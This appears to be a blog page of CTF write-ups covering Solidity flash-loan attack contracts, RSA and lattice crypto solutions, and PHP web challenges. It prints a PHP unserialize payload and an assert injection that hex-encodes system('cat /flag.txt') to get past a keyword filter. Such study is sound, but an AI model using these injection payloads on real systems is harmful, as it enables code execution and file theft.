60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;
uint256 public loanAmount;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
external
{
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;
loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount

ISimpleDEX(dex).flashLoan(loanAmount, token0);
}
function executeOperation(uint256 amount, address token) external{
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Wrong token");
require(amount == loanAmount, "Wrong Amount");

IIERC20(token0).approve(dex, loanAmount);
// 1. Swap USDT for VNB (ammIndex 0)
ISimpleDEX(dex).swap(0, amount, true);

// 2. Swap VNB for WMB (ammIndex 1)
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 3. Swap WMB for USDT (ammIndex 2)
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, true);

// Transfer profit to profitReceiver
uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount;
IIERC20(token0).transfer(profitReceiver, profit);

}
}

ChatGPT 4o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address token0;
address token1;
address token2;
address dex;
address profitReceiver;

uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable)

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
external
{
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// Step 1: Flash loan from SimpleDEX (borrow USDT)
ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT
}

// This function is called by the SimpleDEX during flash loan callback
function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");

// Step 2: Perform triangular arbitrage
// 1. Swap USDT (token0) to VNB (token1)
uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB
uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received
ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB

// 2. Swap VNB (token1) to WMB (token2)
uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB
uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received
ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB

// 3. Swap WMB (token2) to USDT (token0)
uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT
uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received
ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT

// Step 3: Repay the flash loan
require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan");
IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan

// Step 4: Check if profit was made
uint256 profit = IIERC20(token).balanceOf(profitReceiver);
require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made
}
}

[PWN] FileSys(未出)

You only have one chance to edit

题目给了一个bzImage、一个rootfs.cpio、一个boot.sh,用qemu启动试试

1
2
3
4
5
6
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "root=/dev/ram console=ttyS0" \
-nographic \
-m 512M

启动确实是成功了,但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥

反倒是在用winhex翻文件的时候,在根目录有flag.txt写着VNCTF{inkey}

[MISC] ezSignal(未出)

你也热爱信号吗?

本题附件下载地址:下载链接

题目给了一个压缩包,解压出来一张图,binwalk出来另一个压缩包,里面是flag.txt(180+ MB),里面看不懂啊~

图片的描述里面,照相机序列号有key:VN2025CTF(下图是旧附件flag.txt)

后面说这题有问题,附件更新了,新附件337MB(之前那个才几MB),新附件把flag分成两部分了

1
2
3
4
5
6
7
8
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 500 x 500, 8-bit/color RGB, non-interlaced
91 0x5B Zlib compressed data, compressed
6026 0x178A Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt
176360381 0xA830BBD Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt
354325610 0x151E946A End of Zip archive, footer length: 22

题目给了提示

  • 请仔细研究题目附件压缩包的文件结构
  • GRC流程图是 窄带FM调制+XOR

然而还是做不出来

🔲 ☆

2024年 GDUTCTF 个人WriteUp

日志分析

近日xxa集团的某终端遭到DNS劫持的恶意攻击,导致大量的服务器、应用、个人终端都无法正常的访问,请找出被劫持的服务器IP

打开后在Wireshark里面过滤器填写dns,过滤所有的DNS请求

然后随便拉一下就发现,有对外网DNS服务器进行查询的操作,这个IP是61.7.12.5,所以答案为flag{61.7.12.5}

RSA

yafu

题目说了用yafu,咱就上yafu呗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> .\yafu-x64.exe "factor(5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021)"                                                                                                                 

fac: factoring 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C319
rho: x^2 + 2, starting 1000 iterations on C319
rho: x^2 + 1, starting 1000 iterations on C319
pm1: starting B1 = 150K, B2 = gmp-ecm default on C319
ecm: 0/30 curves on C319, B1=2K, B2=gmp-ecm default
Total factoring time = 6.6378 seconds


***factors found***

P11 = 55307187311
P309 = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

ans = 1

得到了因数55307187311103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611,再写RSA解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from sympy import mod_inverse

n = 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
e = 65537
c = 984765936167568915783737736704322867611565848218162635654661946159274680387765479436495629732147881246546457348407235796531559724831194942893739549488239267819251236343133592127393904508787113965976179961040457169804920173316042295428577459093103897018392603409275993459118346734697394691845258237102468061273125331821
p = 55307187311
q = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

print(p * q == n)

# 计算私钥 d
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)

# 解密
m = pow(c, d, n)

# 输出解密结果
print("解密后的消息:", m)
decoded_message = bytearray.fromhex(hex(m)[2:]).decode()
print(decoded_message)

结果

1
2
3
4
PS C:\Users\HelloCTF_OS\Desktop\GDUTCTF> python .\RSA\dec.py 
True
解密后的消息: 56006392793427444397469159507968818734487760249840566044504304603998891915995068783011778052460000893
flag{a878b5d5-4118-4402-a1d0-599c47ecbab6}

serialize

上来给了PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
class Handle{
private $handle;

public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

if (isset($_GET['exp'])) {
unserialize($_GET['exp']);
} else {
show_source(__FILE__);
}

搜到原题:2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)_justsoso ctf-CSDN博客

构造payload

1
http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

发现没有回显,于是尝试访问flag.txt,就出来了

1
http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag.txt%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

ezrce

上来给了源码

1
2
3
4
5
6
7
8
<?php 
highlight_file(__FILE__);
if (isset($_POST['data'])){
$data = $_POST['data'];
if (!preg_match('/flag|cat|\?|\*|&|\||nl|tac|system|exec|\`|head|tail/i', $data)){
assert("strpos('$data', 'data') === true");
}
}

好,知识盲区,没做过带assert的,去质问ChatGPT o1,告诉我是assert截断类题目;我告诉它需要读取flag.txt(因为上面那个序列化是flag.txt),然后给了我payload

1
data=hello')%20or%20print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

让GPT来给我解释吧(躺平)

URL 解码后的 Payload

首先,将 URL 编码的部分 %20(代表空格)进行解码,完整的 data 参数值如下:

1
data=hello') or print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

Payload 结构解析

该 Payload 利用 PHP 的 assert 函数进行代码注入,以执行系统命令 cat /flag.txt,从而读取 flag.txt 文件的内容。以下是对 Payload 各部分的详细解释:

hello')

1
hello')
  • 作用:这部分结束了 strpos 函数的第一个参数字符串。原始 PHP 代码中的 assert 调用如下:

    1
    assert("strpos('$data', 'data') === true");

    $data 被替换为 hello') or print(assert("..."));// 时,整个 assert 语句变为:

    1
    assert("strpos('hello') or print(assert("..."));//', 'data') === true");

    这里,hello') 关闭了 strpos 的第一个参数字符串,使得后续的 or print(assert("..."));// 成为新的 PHP 代码执行部分。

or print(assert("..."));//

1
or print(assert("..."));//
  • 作用

    • or:逻辑操作符。如果左侧表达式为 false,则执行右侧表达式。
    • print(assert("...")):执行 assert 函数,并将其返回值打印出来。
    • //:注释符,用于注释掉后续的代码,防止语法错误。

"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"

1
"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"
  • 作用:使用十六进制转义序列表示字符串,以绕过正则表达式过滤。具体解析如下:

    • \x73\x79\x73\x74\x65\x6D:对应 ASCII 字符串 system
    • \x63\x61\x74:对应 ASCII 字符串 cat
    • \x20:对应空格``
    • \x2F:对应 /
    • \x66\x6C\x61\x67:对应 flag
    • \x2E:对应 .
    • \x74\x78\x74:对应 txt
  • 解码后的字符串

    1
    system('cat /flag.txt')

完整的注入后的 assert 代码

将上述部分组合起来,注入后的 assert 调用如下:

1
assert("strpos('hello') or print(assert("system('cat /flag.txt')"));//', 'data') === true");

执行流程分析

  1. strpos('hello')
    • strpos 函数通常需要至少两个参数(需要查找的字符串和查找的子字符串)。在这里,只有一个参数 'hello',这会导致 PHP 报告一个警告或错误,因为参数不足。
  2. or print(assert("system('cat /flag.txt')"))
    • 由于 strpos('hello') 的返回值为 false(因为查找失败或参数错误),逻辑操作符 or 会执行右侧的表达式。
    • print(assert("system('cat /flag.txt')")) 会执行 system('cat /flag.txt'),试图读取 /flag.txt 文件的内容,并将其输出。
  3. //
    • 注释掉后续的代码,防止语法错误或干扰注入效果。

然后丢进去就出来了

🔲 ☆

【Volcania】2024第四届“网鼎杯”网络安全大赛青龙组初赛Writeup

Crypto

Crypto01

小华刚上班第一天,便发现自己的重要文件被加密,只留下了一段神秘代码,请你结合神秘代码帮助他解密。

从附件得到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p * q
d = getPrime(299)
e = inverse(d,(p-1)*(q-1))
m = bytes_to_long(flag)
c = pow(m,e,n)
hint1 = p >> (512-70)
hint2 = q >> (512-70)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint1 = {hint1}")
print(f"hint2 = {hint2}")

n = 114118679597315994458138232536029700477506764789782067073905766324635160145597602207164997807103187990046901850125798774503781767630201814025142189432534890147340404293319424524872695905368897290630698362559606549134377263394129199145835483978820237203114250882524438599220793209608842281879976692805855046971
e = 60930873636939710528141652371287627298970658591028170597199994159301433213017349592910581153194811053524011559886529831760967700162629319952838130973563991607758850226327915934518549584588693854388996425152821459866209334446088324204759334980239670811977086959854952233887459542997456604453766160444477603017
c = 11058775585296329544235824126670578486484201903851563493984057289075513008773878014007377223222464555346135675900619903617528838701118612201290486747980233570288315027654510774940371032813981282018787668864123759554297515664915358447425647424759926416629451915378248520432568536260902676664298855076689608823
hint1 = 884675140903190287932
hint2 = 1000130673738973880482

根据检索,发现是RSA高位爆破题目,并且在2023江苏省领航杯有对应的题目,而且非常凑巧的是师傅写了个傻瓜脚本

https://www.cnblogs.com/mumuhhh/p/17789591.html#bd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1

print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

#BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print ("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)


if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N =
e =
c =
hint1 = # p高位
hint2 = # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;


# 解密指数d的指数( 最大0.292)



m = 7 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程

# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()


solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

所以把数据填进去,经过四十秒的紧张计算就得到了d

d=697791299328204454525050115930116025227680411125210507143694169686384063060766101784129969

然后来个经典的RSA解密脚本

1
2
3
4
5
6
7
8
from Crypto.Util.number import *

n = 114118679597315994458138232536029700477506764789782067073905766324635160145597602207164997807103187990046901850125798774503781767630201814025142189432534890147340404293319424524872695905368897290630698362559606549134377263394129199145835483978820237203114250882524438599220793209608842281879976692805855046971
d = 697791299328204454525050115930116025227680411125210507143694169686384063060766101784129969
c = 11058775585296329544235824126670578486484201903851563493984057289075513008773878014007377223222464555346135675900619903617528838701118612201290486747980233570288315027654510774940371032813981282018787668864123759554297515664915358447425647424759926416629451915378248520432568536260902676664298855076689608823

m = pow(c,d,n)
print(long_to_bytes(m))

解出flag为wdflag{c5b3e498-0f4c-4f40-937f-e690d8062b89}

Crypto02

运维人员在网络监控中发现了一段可疑的字符串,经过初步分析,他们怀疑这段数据可能是使用AES加密的。为了确定这段数据的内容,他们需要找到正确的密钥。

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# coding: utf-8
#!/usr/bin/env python2

import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from FLAG import flag
#flag = 'wdflag{123}'

def victory_encrypt(plaintext, key):
key = key.upper()
key_length = len(key)
plaintext = plaintext.upper()
ciphertext = ''

for i, char in enumerate(plaintext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
encrypted_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
ciphertext += encrypted_char
else:
ciphertext += char

return ciphertext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = victory_encrypt(flag, victory_key)

p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0
b = 7
xG = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
yG = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = (xG, yG)
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 1
zero = (0,0)

dA = nextprime(random.randint(0, n))

if dA > n:
print("warning!!")

def addition(t1, t2):
if t1 == zero:
return t2
if t2 == zero:
return t2
(m1, n1) = t1
(m2, n2) = t2
if m1 == m2:
if n1 == 0 or n1 != n2:
return zero
else:
k = (3 * m1 * m1 + a) % p * gmpy2.invert(2 * n1 , p) % p
else:
k = (n2 - n1 + p) % p * gmpy2.invert((m2 - m1 + p) % p, p) % p
m3 = (k * k % p - m1 - m2 + p * 2) % p
n3 = (k * (m1 - m3) % p - n1 + p) % p
return (int(m3),int(n3))

def multiplication(x, k):
ans = zero
t = 1
while(t <= k):
if (k &t )>0:
ans = addition(ans, x)
x = addition(x, x)
t <<= 1
return ans

def getrs(z, k):
(xp, yp) = P
r = xp
s = (z + r * dA % n) % n * gmpy2.invert(k, n) % n
return r,s

z1 = random.randint(0, p)
z2 = random.randint(0, p)
k = random.randint(0, n)
P = multiplication(G, k)
hA = multiplication(G, dA)
r1, s1 = getrs(z1, k)
r2, s2 = getrs(z2, k)

print("r1 = {}".format(r1))
print("r2 = {}".format(r2))
print("s1 = {}".format(s1))
print("s2 = {}".format(s2))
print("z1 = {}".format(z1))
print("z2 = {}".format(z2))

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
encrypted_flag = cipher.encrypt(pad(victory_encrypted_flag.encode(), AES.block_size))
encrypted_flag_hex = binascii.hexlify(iv + encrypted_flag).decode('utf-8')

print("Encrypted flag (AES in CBC mode, hex):", encrypted_flag_hex)

# output
# r1 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
# r2 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
# s1 = 86614391420642776223990568523561232627667766343605236785504627521619587526774
# s2 = 99777373725561160499828739472284705447694429465579067222876023876942075279416
# z1 = 96525870193778873849147733081234547336150390817999790407096946391065286856874
# z2 = 80138688082399628724400273131729065525373481983222188646486307533062536927379
# ('Encrypted flag (AES in CBC mode, hex):', u'6c201c3c4e8b0a2cdd0eca11e7101d45d7b33147d27ad1b9d57e3d1e20c7b3c2e36b8da3142dfd5abe335a604ce7018878b9f157099211a7bbda56ef5285ec0b')

